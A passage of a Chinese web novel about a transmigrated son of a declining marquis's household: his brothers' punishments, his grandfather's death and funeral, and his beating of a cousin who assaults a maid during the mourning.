太宗为了朝堂稳固,很少回京。文宗也渐渐收服了武将,只是有一个人很顽固,那就是武安侯封七藏,若非碍于太宗还在,早就要收拾此人。
太宗晚年病重,可昔日跟随他征战沙场的老将武安侯还健在,到底不忍心封家因忠心之过而灭亡,便令封氏后人弃武从文,这才让后来的皇帝放过了武安侯一族。
时移世易,今日的武安侯也可以习武。可封家早已转变为文臣,为了家族中子弟能够走上科举之路,不为外物所扰,便只让他们专心读书。
所以,别看武安侯府的封号如此,但族中早已经全部从文,只是家族中偶尔会与武将之家联姻罢了。
在他人眼中,封砚初与孙延年不同。因他要走科举之路,所以其父封世子才会严加管教;而孙延年将来肯定是要随着其父的脚步,入军中锻炼任职。
“你将来是要从军的,你父亲自然要求严格,我不一样,将来我家的爵位是我大哥继承,且他一贯刻苦应该错不了,至于我嘛,科考那属于千军万马过独木桥,能考中的有几个。”
封砚初说完这话,引来孙延年好一通羡慕,“自从祖父病逝后,我父亲像是疯了一般,盯着我不放,可怜我前面也没个大哥帮着顶一顶,这次我父亲去西北,人还没走,就已经吩咐我母亲监督我的功课。”
“那也很好,总比你父亲盯着强些。”封砚初也不知道自己这番话算不算安慰。
“你这算安慰吗?我怎么瞧着有些幸灾乐祸呢?我父亲要将齐叔留下来!”比起封砚初的悠哉,孙延年十分怀疑好友在心里偷着乐。
“齐叔?就是常在你父亲身边的那个?”封砚初对此人有几分印象,此人是孙知微的亲信,就连上战场都会带着的,一身功夫也是孙家的家传武功。
“可不是,唉!”孙延年本来还想与封砚初出去玩一会儿,可说到这里竟伤心起来,对玩儿也提不起兴趣。
就在此时,耳边突然传来一声嚎啕大哭。
孙延年立即直起身子,十分感兴趣,“谁啊?哭的这么惨?”
封砚初侧耳细听,这个声音颇为熟悉,“我怎么听着像是三郎的声音,许是犯了错正在挨打。”
“那还不赶紧瞧瞧去!”孙延年立即两眼放光拉着封砚初就要往外走,看起来十分八卦,察觉到好友盯着他的眼神,又讪讪的笑着,“你毕竟是当哥的,弟弟有难,自然要去探望。”
等封砚初到了后,这才看见,原来是张姨娘手持戒尺按着三郎打,而她手里的这个戒尺还是大娘子赏赐的,专门让她用来管教儿子。此时,三郎趴在凳子上号啕大哭,眼泪吧嗒吧嗒掉在地面上。
“张姨娘安好,三弟犯了何错,怎的就动起手来了?”既然来了,他还是要关心关心。
张姨娘本来在生气,看见二郎带着朋友过来,也不恼了,将手里的戒尺递给旁边的丫鬟,瞪了儿子一眼,“这次就先放过你!”
“谢谢二哥!”三郎一听放过自己,不说认错,竟然当着张姨娘的面谢起了自己的二哥。
“你!还不赶紧进去洗一洗!”张姨娘觉得还是打轻了,对着儿子十分无语。刚才还在哭的三郎,此刻已经笑呵呵的捂着屁股进去了。
此刻张姨娘只觉得尴尬,脸上僵笑着,“唉,这孩子不爱学习也就罢了,前些日子还将自己看完的话本子租出去。这不,学塾里有孩子将书弄丢了,他让人赔钱,可那户人家也不富裕,哪来的钱,昨儿人家大人告到大娘子那里了,我今天才知道,你说他该不该打!”看来三郎因为手里没钱,竟被逼的想出这样赚钱的巧思。
毕竟是自己的三弟,既然已经来了,倒不好看笑话,封砚初赶紧上前灭火,“这不是什么大事,外头书铺也时常会给人租书,如果书本有损伤或遗失需得照价赔偿,他能想出这个办法,总比因为月钱不够干坏事的好。”
“便宜那小子了。”张姨娘见二郎给了台阶,便赶紧下。
“那我进去看看三弟。”说罢俩人一起进了封砚池的房间。
与封砚初相比,封砚池的房间少了一些书墨气,多了些不知从哪里淘换来的玩意儿,家具摆设也是一应俱全,不似封砚初的房间那般空旷。
俩人进门后,三郎光着屁股蛋子,丫鬟瑞雪正为其上药,对方察觉有人进来,连忙用被子遮挡。
“有什么好遮的,又不是没见过。”封砚初没想到对方竟然还害羞起来,便出言调侃,不过此言非虚,他确实见过两次。
“二哥,谢谢你来救我,我方才哭的那样大声,可其他人都没来,只有你来了,果然还是二哥你对我最好。”三郎十分感动,他努力仰起脸,扭头看向他。
他能说自己也没想来吗,只是孙延年想看热闹,这才阴差阳错的救了三郎,于是只是笑了笑没说话。
孙延年早就瞅见对方屁股上的几道红痕,没想到张姨娘竟真的下了重手,不过还是啧啧道:“就这么一点印子,就哭成那样。”
封砚池并未觉得不好意思,竟然小大人似的叹气,“唉,你不懂,自从母亲给了我姨娘一把戒尺之后,我这挨打的次数增加了好几倍。”
第五十五章 我是一文钱都没啦
其实封砚初也觉得就是租个书而已,哪里用得着挨打,更何况这点小事。就拿自己如今与前世作比较,不知收敛了多少,他小时候与小朋友玩火,蹦出来的火星子把草垛点着了。
他在前面跑,他爸手里拎着树条子追着打,后面还跟着他奶奶,嘴里还喊着,“别打孩子,他又不是故意的。”
最后他被迫爬上一棵树,到底年纪小不懂事,被他爸骗下来好一顿打,第二天屁股还在疼,上学都是一拐一拐的,如今想想有他妈和奶奶那般护持,没长歪可真是奇迹。
他拍了拍三郎的肩膀安慰道:“你也别担心,不就是租个书罢了,对方既然借书,那就是知道规矩,但是还回去告状,本就不对,只要你别做坏事就行。”
三郎果然眼泪巴巴地抓着他的手,十分感动,“还是二哥对我好,二哥,我租书的钱被姨娘收走了,你能借我点吗?”
没想到在他欣慰之际,三郎那嘴巴一张一合说出来的话如此伤钱,他迅速将手抽出来,“三郎,你好好养屁股,我就先回了。”
“二哥!”三郎最终还是没能唤回他二哥,有些垂头丧气,“我是一文钱都没啦!”
出去之后,孙延年还往里瞧了瞧,“我看他挺可怜的,要不你给他点钱?”
封砚初还要继续完善广林巷的‘枕松闲居’,哪有闲钱,“你是不知道他,但凡要将钱用到正事上我也就给了,他的钱全买了话本子,连学习也耽搁了,幸而父亲不曾查问,否则更是一顿好打。”其实这已经是他美化过的,因为无论是父亲,还是大娘子都已经放弃了三郎,只要别惹祸就行。
“那还真不能给。”孙家虽有庶出,但孙延年本人是嫡出,自然感受不到这里头的差异。
孙延年回去的路上,就将今日的事情学给了父亲,还笑嘻嘻道:“这封三郎的头脑还真灵活,竟想出这个赚钱的法子,就是不爱读书,有些可惜。”
孙知微毕竟是安南将军,见儿子如此纯真,他早在儿子开口没多久,便已经听出这其中关窍,封家的这几个孩子都是庶出,看着没什么差别,其实内里的区别早已显现。
庶长子因为居长的缘故,只要不犯大错,将来承袭爵位;次子小小年纪已显聪慧,听说学业上与其兄不相上下;封家已经有了前两个做保障,后头两个自然而然就轻视一些。
这三郎头脑聪慧,放到旁人家,管束只会更加严苛,而封家却并未多加管束,只交由姨娘看管。出门访友宴客也只带两个大的,由此可见未来已定。
这嫡庶到底不同,比起这封二郎,他的儿子明显心思更单纯一些。想到此处,长叹一声,“你呀,看来回去之后还要加练。”
孙延年顿时苦着一张脸,他没想到自己不过是说了封三郎的一件事,就引发如此噩耗,看来以后还是要少说话。
他瞪着双眼,满脸皆是不可置信与后悔:“父亲?”
就在封砚初以为接下来的日子还是一如往昔,可一件事情的发生,让父亲封简宁嫉妒的两眼都要发红了,那就是封砚成考中了秀才!年仅十六岁的秀才啊!
要说这封砚成乃是封家四房的人,其父封简阳任户部侍郎,官职比老侯爷还要高出半阶。
如今人家的儿子也先一步考中秀才,如何不让封简宁眼红嫉妒,就连老侯爷都对孙儿们的学业多问了几声。当父母心里有邪火时,除了下人,最倒霉的要数封家的这几个孩子。
而封砚初早有准备,在父亲考教之时顺利过关。眼见大郎和二郎通过,可心中的火气未消,那倒霉的就属于三郎了。
原本封简宁并不太关注这个三儿子,可谁让他撞到枪口上,迎来的是劈头盖脸一顿骂,四郎挨了好几下手板,就连堂兄封砚明也被骂不成器。
“你说说你们!别的孩子想进甲等班还要通过考试,你们本就沾了侯府的光进去,更有严师教导,可你们都学了些什么?连我这一关都过不了,将来还谈什么科考,我都嫌丢人了!”封简宁越说越气,又听说三郎的月钱都用来买话本了,真是越瞅越不顺眼,抬腿就是一脚。
指着对方的鼻子骂道:“听说你不爱读书,更喜欢看些话本杂书,我要是你,都没脸站在此处了!”
依旧不解气,冲着外头喊,“从今日起,免了三郎的月钱,我看他还拿什么买那些杂书!”
比起肉体上的疼痛,三郎的心更疼,原本月钱就不够花,如今竟然还没了,想到这儿哭声更大,只是不知是因为疼痛还是为了月钱。
考教结束,几个孩子夹着尾巴,小心翼翼地迅速离开。接下来的日子封砚初表现的很好,因为他知道,一旦犯错,那就是给父亲找了一个正大光明打他的理由。
大娘子主动端起一杯茶递给夫君,温言劝着,“夫君何必这样疾言厉色,那封砚成都已经十六了,咱们家的孩子都还小。”
封简宁接过茶,沉沉的叹了一声,“大郎已经十二了,再有四年也十六了,若不紧一紧皮,想要考中秀才还不知几时呢,让我更忧心的是父亲的身体。”
这可是大事,夫君不过是个六品官,武安侯府全靠老侯爷支撑,大娘子听后也很着急,“父亲怎么了?”
“自从去年之后,父亲的精神就不如以前了,就连身体也比往年多病,若是好好修养自然是好,可父亲知道咱家如今的情形,哪里敢对外露出半点不适。”封简宁确实着急,武安侯府已经开始走下坡路,若是让人看出老侯爷有一丝懈怠,只会受到周遭的围攻,这就是官场之残酷。
大娘子听后也是愁绪上头,若是夫君在朝中受重视,即使家里孩子还小,也不用如此着急,不过她也不能继续火上浇油,安慰道:“夫君就是着急上火也无用,还不如将眼前的事情做好,至于孩子们的学业,我也会盯着的。”
接下来的日子,孩子们很不好受,就连封砚初习武的时间都变少了,医书也只能挤出一点时间翻看。
第五十六章 侯府世子的担当与胸襟
时间飞逝,转眼封砚初已经十三岁了,比起前几年的调皮,这两年似乎稳重了一些。
岁月伴随着孩子们成长,同时也让年老之人惧怕光阴的消散,如同武安侯府的那块牌匾一样,除了陈旧了一些,还给封简宁的脸上增添了几丝愁绪。
即使再苦苦支撑,病痛依旧找上了老侯爷,如今的他只能拄着拐杖移步,时不时咳嗽,不知换了多少大夫也无能为力,封简宁为了延续父亲的性命,已经着人前往药谷请大夫。
(话说这药谷是太宗皇帝的御用大夫李源所建,据传太宗皇帝年幼时体弱,被李源的师傅医治过,所以这李源也成了专用御医,不过在太宗皇帝禅位后,便辞官回乡建立了药谷。)
“我自己的身体我了解,自从年后这骨头仿佛漏风似的,可见是大限将至,何苦去药谷求人。”老侯爷说这话时喘个不停,喉咙之处仿佛有个风箱一般。
“父亲,您要是有个好歹,叫儿子怎么办?”封简宁心伤不已,他扶着父亲缓缓的在院子里散步,如今已是夏日,可老侯爷身上还穿着夹的。
“老啦!药谷先祖虽与咱们祖上有些交情,可早已还完,更何况药谷已经早就对外公开,谷中弟子不涉朝廷之事,又怎么可能来京城。”老侯爷并不抱希望,药谷当年因弟子搅入朝廷,差点导致药谷灭亡,所以便有了这条铁律。更何况御医也来瞧了,都摇头叹息,只让温养。
“儿子想试一试,万一呢。”封简宁并不想放弃。
就在此时,封砚初提着煎好的药来了,“祖父,父亲,药煎好了。”只要有空,他就会亲自侍奉祖父并煎药,竟因此接触熟悉了不少药材。
封简宁一时之间心情竟有些复杂,他既欣慰儿子孝顺,又担心他因此疏忽了学业,“放这吧,这里先用不上你,快回去温习功课。”
“去吧。”老侯爷如何不知儿子的心情,朝孙子挥手示意。
他病的这段时间,大郎虽然也常来请安,但让他没想到的是,这些孙辈里头,最心软孝顺的竟然是二郎。
封砚初并未强留,拱手告退。说实话,祖父总是太忙,他以前与之接触的时间,还不如最近这段日子。
之所以在祖父身边侍奉,一来是晚辈应尽之责,二来毕竟自己看了这么长时间的医书,想试一试能否尽些心力,但到底是纸上谈兵,经验不足,他亦无可奈何,能做的只有陪伴。同时,这也是他第一次对人力的无可奈何深有感触。
似乎大人们的烦心事,距离他们还很远,远到看不见。大家的表现各有不同。
大郎之所以时常请安,那是因为他知道一旦祖父病逝,父亲承袭爵位,那么世子之位非他莫属。
三郎与四郎本就不受祖父重视,也是惧怕有余亲近不足,即使祖父病重,除非大人要求,否则不会出现。
堂兄封砚明虽是二叔的独子,但因为婶娘娇惯,开始还时常探望,后来去的也渐渐少了。
而大姐因为是嫡长女的缘故,看望祖父的次数竟然比三郎,四郎,以及堂兄勤一些。
二妹封砚婉因为庶出的缘故,在家里并不受重视,也幸亏她性格开朗也从不在意,不过对于祖父的态度与同胞兄弟一样。
而三妹封砚潼与兄长封砚明几乎是要么一起去,要么都不去。
封砚初才回来坐下,连一口茶都未来得及喝下去,封砚开来了。
“大哥?你不是在房里读书,怎么有时间过来。”不怪封砚初好奇,大哥这两年分外努力,说实话,他是压根比不上的,所以这在学业上自然也相差一筹。
“我瞧你从外院回来,就过来了。”十四岁的封砚开已是少年人模样,他虽不似其他三个弟弟长相英俊,但更多了一些沉稳,儒雅的味道,给人感觉很可靠。
恰好此时雪香沏了茶进来,“这是蒙顶黄芽,有提神醒脑,消除疲劳的功效,对脾胃最有好处,大哥喝喝看。”
封砚开端起一个四方茶杯,浅浅抿了一口,便胡乱的点头称了声不错,其实他房中也有这茶,并不稀奇。但难能可贵的是二郎心细,凡家中兄弟姊妹都有单独的杯子,而他的就是眼前的四方杯。
放下茶杯,他这才说起今日来的原由,“二郎,我知祖父生病你着急,我也急,可咱们也帮不上太多,那些煎药侍奉的活计下人也能干。”
“我知道,但祖父身体不好,做晚辈的也只能在这上面尽一尽孝心。”
“你不知道!尽孝心的方式有很多,祖父生病武安侯府前途未知,你若真的有孝心那就应该把心思都用在课业上,更何况祖父虽在病中,可最惦记的仍然是侯府的将来。”封砚开也是忍无可忍了,以前二郎在学业上虽说没用十分的苦功,但在学塾中也是头名,如今竟然掉至第四,他怎么能不急。
“上次考试你还在第三,怎么这次就掉到了第四?再这样下去,我看四郎都快赶上你了!”他说这话之时,颇有些怒其不争的意思。
封砚初一时之间有些沉默,自从过了十二岁,家里管的没那么严了。除了去学塾以外,他也有了出府的机会,所以时常去‘枕松闲居’。因为那里人少,练武,读医书更自由些,便有些沉寂其中,自然学业上就有所松懈。
“我知道了,我会注意的。”
封砚开本来以为他还要费不少口舌,没想到二郎答应的那般干脆,心里不免有些犯嘀咕。
不过嘴上还是说着:“我只愿你能记在心里,一旦来日祖父去世,父亲即使继承了爵位,还有三年的丁忧,三年后是何情形还未可知,我只愿咱们能给父亲争些气。”
封砚开的这番话,让封砚初这才意识到,原来不知从什么时候起,大哥已经想的这般深远了。
此刻的封砚开确实早已经具备了侯府世子应有的担当与胸襟。他并不担心弟弟有出息会掩盖自己的光芒,反而更愿意与弟弟一起扛起封家的未来。
第五十七章 如何能与我儿相提并论
大郎离开后,封砚初躺在廊下的躺椅上,闭着双眼。他今年十三岁,比起上一世来说生活富贵,接触的也都是上层,在别人看起来羡慕异常,他同时也感受到了上一世从未有的压力,那就是家族兴旺。父亲为之努力,大哥为之努力,就连祖父还在病中都仍旧为之努力。
父亲最终没请来药谷的大夫,祖父也没能阻挡住死亡的召唤,甚至病的躺在床上之时,都还在惦念侯府。
封砚初看着躺在床上的祖父,几乎瘦成了一把骨头,眼神变得混浊暗淡,不复往日的睿智。众人心情沉重,就连一向不务正业的二叔都是满脸神伤,与家里闹翻了的大姑母封简仪,以及远嫁外地的二姑母封简荀也都在。
老侯爷艰难的抬手,将封简宁叫到跟前,“你不必垂头丧气,这都是命,我这一走,三年的丁忧是免不了的,如此正好在家教导孩子们,武安侯府的未来还要看他们。”
封简宁哭的泪流满面,他几乎不忍心看濒临死亡的父亲,“父亲,儿子记住了!”
老侯爷又将封砚开与封砚初叫到跟前,“兄弟同心,其利断金;大郎,你要承担起肩上的责任,以后不可懈怠;二郎,我知道你虽调皮,但也聪慧心善,以后要多多帮扶你大哥。”
封砚初原本以为自己不会伤心,但是真到了此刻,面对一个躺在床上之人的临终之言,不禁鼻头一酸,眼泪意料之外的吧嗒吧嗒掉下来,声音有些哽咽,“祖父,孙儿知道了。”
“好孩子。”老侯爷又看向老妻,“这个家就交给你了。”
老太太握着对方的手沉重的点点头,“你放心,有我看着孩子们呢。”
老侯爷最终还是没将次子叫到跟前,只对他说了句,“以后你少惹祸。”又对二女儿带着些许歉疚的叹息一声,最终撒手人寰。
随着老侯爷的病逝,武安侯府便开始治丧,各府邸,各官员前来上香祭拜。虽然武安侯开始走下坡路,但爵位在那摆着,所以丧仪还算隆重,还请了灵台寺的和尚念经。
封砚初自然也要跪着,只是和父亲相比,他是晚一辈没有那般辛苦,跪祭结束后,便独自前往自己的院子。
只是没想到回去的路上,在经过一处假山花丛之处听到一阵悉悉索索的声音,其中竟然还有女人沉闷的惊呼声。
他眉头紧皱,此时正值祖父丧仪,谁人不知检点,行此恶心之事,闻声便大步上前查看。
这不看不知道,竟然是孙尧这个畜牲,在对武安侯府的丫鬟行此卑劣之事,说时迟那时快,他一脚踹上去,将人踢出老远撞在一旁的山石上。
原来方才跪祭之时大姑母的儿子孙尧不在,只是众人都忙着,以为此人在哪躲懒,没人注意罢了。
“畜牲!”封砚初气的双目通红,恨不得一脚踢死这杂种。
“二郎君,救救奴婢!”原来是母亲院里的三等丫鬟秋词。
“穿好衣服,将此事告知母亲和父亲,今日是祖父丧仪客人众多,不宜宣扬,务必谨慎!”封砚初保持冷静,迅速吩咐,只是他的眼睛始终未离开孙尧。
直等那秋词离开,孙尧这才揉着方才摔疼的背,脸上全是没当一回事的轻浮,“看在你还知道帮我遮掩的份上,方才踹我这一脚,我便不计较了,还不快扶我起来,到底是庶出,真没眼色!”
对于眼前之人,封砚初看一眼都觉得脏眼睛,现下又说出这番让人作呕的话。他未有一丝犹豫,紧接着就是一通抬脚猛踹,好缓解一点心中涌起的那股恶心。
“啊!你个小兔崽子,住手!不对,是住脚!你竟敢打我,我叫你吃不了兜着走!”孙尧没想到眼前这个兔崽子,年岁虽小,但却将他打的毫无还手之力,甚至连起身都做不到。
“吃不了兜着走?我就是将你打残了,我父亲和母亲也不会说我半句!我要让你从今以后连床都下不了!”要不是对方太嚣张,封砚初连话都不想与此人说。
若非老侯爷去世,身为女儿的封简仪、女婿孙仲桥、外孙孙尧必须得参加,其实封简宁并不想这一家人上门。
就在此时,一个尖锐的声音传来,“我的儿!”原来是封简仪匆匆赶来,她看着被打的已经吐血的儿子心疼不已,一把将封砚初推开,扑了上去。
随即恶狠狠的瞪着封砚初,“你个小贱种,竟将我儿殴伤至此,他若是有个三长两短,我要你偿命!”
而后封简宁也来了,他刚才已经听说了,心中暗恨不已。可当真正瞧见孙尧衣裳半褪的躺在地上,便气血上头,只觉得儿子还是打轻了,“姐姐嘴上还是积些口德,我儿乃是武安侯府的郎君,孙尧不过是一个被朝廷勒令不许科考,并且赶出巡城卫的渣子,如何能与初儿相提并论。”
封砚初着实有些震惊,‘初儿’!这还是他第一次听父亲如此称呼自己。不过对于这个姑妈他无半点好感,也没客气,“姑母若是不会教导儿子,侄儿可以代劳,免得做出如此不堪入目的丑事。”
大娘子也是怒火中烧,她不过是吩咐秋词回来拿东西,好半天不见人,没想到竟让此人半路上截了。
冷哼一声道:“大姐姐,今日是老侯爷的丧仪,如此庄重肃穆的场合,你儿子竟然这般行事,还侮辱我院子里的丫鬟,我看你们也别等丧仪结束,现在就全家一起离开吧,免得脏了侯府的地面!”
“不过是一个丫鬟,你们当真要因为这下人为难我们?”封简仪原本就因为父亲临终前,看都没看她一眼心中不快,如今听了这话只觉得弟妹小题大做。
孙仲桥原本还想着趁这次进京与武安侯府缓和缓和关系,没想到逆子做下此等丑事,他如何有脸继续待着。
当即行礼赔罪,“此事全都是这逆子的错,我们也无颜继续待下去,只是事情已经发生,想必你们也看不上这逆子,我愿赔些财帛与那丫鬟做为嫁妆,若是将来在婚嫁上有困难,我也愿意帮她找个好人家。”
第五十八章 难道姑母不该谢我
孙仲桥此人为官虽然不咋地,但在为人这方面却很有个眉高眼低。
封简宁只是冷冷道:“如此我就不留大姐夫了。”
封简仪却不甘心,她抱着孙尧哭诉道:“我不走,封砚初将我儿打成这般模样,你们想这么算了,我不答应!”
封简宁正欲说话,可儿子已经将话接过去了,“姑母,侄儿这是帮您管教儿子,您不说谢我也就罢了,怎还埋怨?”
封简仪都快气笑了,她指着封砚初骂道:“谢你?难不成谢你将我儿打成这副样子不成!”
封砚初随即冷笑,“自然,毕竟从今以后表哥只能躺在床榻之上度过余生,再也没有力气惹事生非,难道姑母不该谢我?”
反观孙仲桥似乎如释重负般的松了一口气,“唉,如此也好。”
“你个庶孽!”封简仪指着他,嘴唇直哆嗦。
“姑母!今日不仅是我祖父的丧仪,也是你父亲的!往来之客众多,而你儿子却做下如此畜牲之事,没将他扭送官府,已是看在两家的颜面上来,您勿要得寸进尺!”封砚初的眼中未流露出一丝情绪,只是从语气中可以听出极度不满。
这是封简宁第一次瞧见次子仿佛一个大人般镇定,浑身散发着冷意,模样也不似往日那般温和。他清了清嗓子,“长姐,二弟还在前面顶着,我就不送了。”
孙仲桥已经着人将儿子抬走了,封简仪即使再不甘心也只得跟着一起离去,因为她原本还巴望着母亲能出来说句话,可老太太听后只闭上眼睛说自己累了,无事别打扰。
直到晚上,府中只留下封家人守丧,封家人这才得知,为何不见封简仪一家。而封氏族人也只觉得庆幸,幸亏及时处置了,否则被外人知道,那丢的可不仅仅只有武安侯府的脸面,就是整个封氏一族也面上无光。
温氏听说后直拍胸膛,“哎哟,我的天爷呀,这要是被外人知道可怎生了得!”
二叔封简言也皱眉对封简宁道:“哥,要我说以后就别和孙家往来了,如今父亲才去世,别再影响了咱家的爵位,再说孙尧之前打着咱们家的名义不知做了多少恶心事。”
随后又瞅着封砚初,“你也算是为孙家除了一害,我估计没准他父亲心里还叫好呢。”
封简宁听了弟弟的话,觉得很有道理:“咱们武安侯府本来就已经在走下坡路,若是被那畜牲带累,岂不是我的罪孽。”
封砚初听了一圈下来,他虽然也担心事情外泄,不过还惦记一件事,“母亲,秋词怎么样了?”
若是身边的半夏和铜雀遭遇此劫难,大娘子或许会觉得,既心疼又难堪;可不幸的是秋词不过是三等丫鬟,她更多是感觉脸上不好看。
所以听了这话,叹气道:“也是那丫头可怜,我已经让孙大夫看了并无大碍,这几日就让她先回去歇着,来日我要亲自为她选个好人家。你不仅为她出了气,还救了人,她还说等养好了身子来谢你呢。”
“谢就不必了,既然让儿子碰上了,无论是谁,儿子都会出手相救。”封砚初听后松了一口气,他就怕秋词因为那畜牲想不开,若真是为那种人丢了性命实在不值当。
回去之后没多久,大郎就来了,发生这样的事他自然关心,只是当时父亲与母亲已经去了,他只能在前面盯着,招待那些前来祭拜之人。
“二郎,你和我细说说。”
封砚初将事情的经过仔细说了一遍。
而大郎听得直皱眉,“你也太鲁莽了,那孙尧已经二十有五,你才十三岁,若是伤到自己怎生了得?在落下个什么症候,那将来还科不科考了?”
“大哥放心,那孙尧早就被酒色掏空了身子,我不过一脚就将他踹倒在地,之后打的他连手都还不了!”封砚初身怀武功自然不怵,可大哥并不知道,难免担心。
“那你也不该逞强,好在你无事,至于那孙尧也是活该。”在大郎心里只要没将人打死,那二郎就不算惹事,毕竟那种人连提起来都觉恶心。
同时也松了一口气,不由觉得庆幸,“幸亏你之前嘱咐过大姐和两个妹妹离此人远点,否则想想都后怕,幸而你未将人打死,否则摊上这样一个贱命,那可就亏大了。”
封砚初原本是觉得此人不忌女色,名声不好,家里的姐妹要远着些,但到底低估了此人的底线。还在治丧期间,就强行侮辱家中丫鬟,“我也没想到他如此没有底线,不过我打他的时候控制着呢,要不了命。”
大娘子处,封简宁正沉思着。
“你在想什么?我叫了你好几声都不曾答应。”大娘子奇怪道。
封简宁这才醒过神来,“哦,我在想二郎呢。”
“二郎?他怎么了?”
“我是觉得今日二郎与平时不一样了。”封简宁不禁想起次子说话处事时的神情。
大娘子还以为有什么事,今日她在现场,且全都看见了,安慰道:“这有什么,二郎已经十三了,孩子长大了,自然和以前不同。再说了,更重要的是这孩子心性善良,方才大家都在担心带累侯府,只有他问我秋词如何。临行前还和我说,秋词能想开就好,即使多歇些日子也挺好,如果为那样的败类丢命,就太不值当了。”
封简宁听了大娘子的话,叹道:“他以前那样调皮,我没少为此生气,只是突然觉得那孩子懂事了,一时之间有些感慨。”
大娘子知道自从老侯爷病重之后,夫君肩上的担子就重了一些,便笑着宽慰,“如今二郎懂事了,大郎也知道自己的责任,再说那孩子一向稳重,前几日还和我说,要督促弟弟们的学业呢,你也别太愁了。”
说起学业,这让封简宁想起次子倒退的事,“前几个月,父亲病重,这孩子一直在旁照顾侍奉着,学业也耽搁了,上次考试竟然掉到了第四。只是见他孝敬祖父,我也不好说什么,等父亲丧仪结束,我要好好抓一抓他的学业。”
第五十九章 还是要口头安慰一下
虽有孙尧之事,所幸丧事也没有意外,最终办完。封简宁也向朝廷上报丁忧的奏疏,并提交正式文书,申请承袭爵位。而承袭爵位却要在三年丁忧期满(也就是二十七个月),朝廷才会正式下达袭爵的诏书。
不过,朝廷有时候也会夺情让其子提前袭爵,但是这一般是出于政治或者军事需求,很明显封简宁不在此列,所以要老老实实守完孝之后才可以。
武安侯府大门上侧的两个白灯笼也需挂满二十七个月,才能换上红色。
从封简宁守孝之日起,封砚初的好日子就结束了,虽然不用日日考教,但也会隔三差五,并且还时不时地,将身边伺候上下学的小厮叫去盘问,一时之间众人如临大敌。
这些伺候的小厮里头,除了一向规矩的大郎和胆小的四郎以外,封砚初与三郎俩人的小厮均被拷问出别的东西,这让原本心里已经有所预料的封简宁,还是被气的够呛,“将二郎和三郎给我叫来!”
当封砚初来到父亲的书房外面时,先是听见‘啪啪啪’地板子声,紧接着就看见很多小厮趴在板凳上挨打,这让他原本犹如揣了块石头的心有了些许轻松。
而封砚池来的时候几乎是战战兢兢,抖个不停,他先是谨慎的四处看了看,然后悄摸蹭到二哥边上,用微弱的声音说道:“二哥,怎么办?我有点害怕。”
封砚初长叹一口气,这一年多他总爱出门,时间长了,这些小厮自然能察觉出一二,不过方才他看了挨打之人,并没有冯四的出现,所以他觉得自己的事可能比三郎轻些。
虽然没什么用,不过毕竟是兄弟,还是要口头安慰一下,“没事,大不了挨一顿打。”
封砚池一听这话,更是吓得不轻,以前是姨娘打他,手底下好歹有个轻重,父亲就不一定了。
“父亲。”俩人的动作整齐划一,让封简宁觉得真不愧是兄弟,不仅动作如此一致,就连犯事也是一起。
三郎的小厮在他刚开口问询之时就已招认,因为三郎平日里喜欢约着要好的几个学生在酒肆聚,所以月钱不够用,便将一些话本子租出去,赚些零用。
与三郎小厮的干脆利落不同,二郎的小厮直到受不住板子才招了。二郎每次下学后并不喜欢让他们跟在身后伺候,所以每次一回府就散了,不过他偶尔会从后门溜出去逛,去了哪里就未可知了。
封简宁脸上看不出表情,只是不紧不慢的品着茶,竟有种威压之感,过了好一会儿,才开口道:“可知你们犯了什么错?”
俩人一直保持着行礼的动作,三郎早已支撑不住,赶紧认错,“父亲,儿子知错了!儿子不应该因月钱不够,就对外租书赚钱。”
“嗯,还有呢?”
“不应与那些学生厮混……”三郎竹筒倒豆子一般,说了个干净。
“要不是你实在不成样子,我才懒得费心,出去领罚!”这么大的孩子怎么可能不知道自己平日的行为对不对,只是因为没人束缚罢了,而封简宁并不想在三儿子身上费心,仅是担心跟着不三不四的人学坏带累侯府。
“你呢?知道自己错在何处?”与三郎不同,他对二郎是抱着很大的希望,不仅仅是不给家里惹祸就可以的,而是希望对方将来在科举仕途上有些成绩,所以要求更严一些。
封砚初方才进来之前就观察了院子里正在挨板子的小厮,可这些人里头并不见冯四,也没有专门为他开后门的那个下人,而那些小厮并不知道实情,若父亲真知道的话,也不会是这副表情。
面对此情形怎么可能承认,所以心中早就思量了一番之后,才说道:“儿子除了偶尔因烦闷去外头逛了逛之外,并不知自己犯了什么错。”
封简宁见次子一副我没犯大错的表情,有心诈一诈,猛地拍着桌子呵斥,“我早已查清你的底细,竟还敢嘴硬!”
“儿子实在不知犯了何错,还请父亲明示。”封砚初依旧还是一副我什么都不知道,我很懵的表情。
“我原本以为你是因为侍奉你祖父这才耽搁了学业,没想到竟然还敢一个人偷溜出去,身边连下人也不带!”其实这才是封简宁生气的真正原因,身边一个人都不带,就这么溜出去,若是遇到危险可怎么办?
听到这话,封砚初心中暗暗松了一口气,只是表情未敢有丝毫变化,就怕父亲看出什么,“儿子每日进出身边总跟着下人,便觉得烦闷,所以才甩开小厮去茶馆里听听书,全当散心。”
封简宁仔细打量着次子的表情,未见任何变化,心里估摸着此话可能是真的,“即便如此,也不应该一个人出去,我也不打你,你在此处跪上半个时辰反省!”他原本想罚次子跪一个时辰的,但话到嘴边,又担心跪坏了膝盖,就变成了半个时辰。
“是。”事情果然如封砚初预料的一样,他镇定的跪在地上,就连表情的变化也不多。
他从未跪过这么长时间,说实在话,在木地板上跪足一个小时,膝盖还是有些酸疼,这让他在起身之时还打了一个趔趄。
封简宁表面上是在看书,其实全程都在观察。他见儿子整个过程连眉毛都没皱一下,要不是起来的那一刹那没站稳,几乎都以为膝盖不疼。
到底不忍心,连忙喊来下人扶着,又嘱咐回去记得涂药。看着离开的次子,忍不住感慨了一句,“性格倒是要强。”
回去之后,封砚初看了自己的膝盖,不过是有些红罢了,其实连药都不用涂,只是看着李妈妈和姨娘那快哭了的表情,只能随她们。
“你父亲这是罚你跪了?”王锦娘手里拿着他自己配制的药膏,一边涂抹,一边问,这次倒是比以前强了,起码没掉眼泪。
“嗯。”
“是为了什么事?我方才去瞧了三郎,那打的可不轻。”王锦娘有些疑惑,这俩人罚的还不一样。
“不是什么要紧的事,父亲是嫌我出门没带小厮。”封砚初轻描淡写。
“那你以后可要带着。”王锦娘果然没重视,她心里还觉得小题大做,毕竟寻常百姓家的孩子出门可没有下人带。
第六十章 恐怕要叫姨娘失望了
因为被紧盯的缘故,封砚初的学业稳步上升,考试已经从第四名攀爬至第二名,第一名自然是大郎封砚开。
也许是因为祖父没了的缘故,老太太格外喜欢热闹,经常叫三个姑娘陪伴,连带着经常被忽视的二姑娘封砚婉也被重视了许多,有一个很明显的变化,最起码厨房不会轻视二姑娘院里的人。
